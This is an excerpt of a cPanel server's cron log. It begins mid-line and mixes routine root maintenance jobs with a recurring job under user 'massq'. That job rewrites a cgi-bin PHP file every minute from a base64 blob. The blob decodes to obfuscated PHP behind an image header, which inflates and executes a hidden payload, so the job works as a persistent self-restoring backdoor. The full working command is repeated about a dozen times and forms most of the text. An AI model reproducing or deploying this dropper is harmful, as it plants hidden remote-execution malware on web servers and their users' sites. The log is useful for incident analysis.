"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:40:01 server CROND[1368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:40:01 server CROND[1371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:40:01 server CROND[1373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:40:01 server CROND[1374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:40:01 server CROND[1372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:40:01 server CROND[1376]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:40:01 server CROND[1377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:40:01 server CROND[1370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:41:01 server CROND[2231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:41:01 server CROND[2232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:41:01 server CROND[2233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:42:01 server CROND[2614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:42:01 server CROND[2616]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:42:01 server CROND[2617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:42:01 server CROND[2619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:43:01 server CROND[3112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:43:01 server CROND[3113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:43:01 server CROND[3114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:44:01 server CROND[3481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:44:01 server CROND[3482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:44:01 server CROND[3483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:45:01 server CROND[3857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:45:01 server CROND[3859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:45:01 server CROND[3867]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:45:01 server CROND[3869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:45:01 server CROND[3866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:45:01 server CROND[3868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:45:01 server CROND[3865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:46:01 server CROND[4692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:46:01 server CROND[4693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:46:01 server CROND[4694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:47:01 server CROND[5086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:47:01 server CROND[5087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:47:01 server CROND[5088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:48:01 server CROND[5555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:48:01 server CROND[5556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:48:01 server CROND[5557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:49:01 server CROND[5930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:49:01 server CROND[5931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:49:01 server CROND[5932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:50:01 server CROND[6313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:50:01 server CROND[6315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:50:01 server CROND[6323]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:50:01 server CROND[6324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:50:01 server CROND[6325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:50:01 server CROND[6326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:50:01 server CROND[6328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:50:01 server CROND[6327]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:50:01 server CROND[6330]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:51:01 server CROND[7276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:51:01 server CROND[7278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
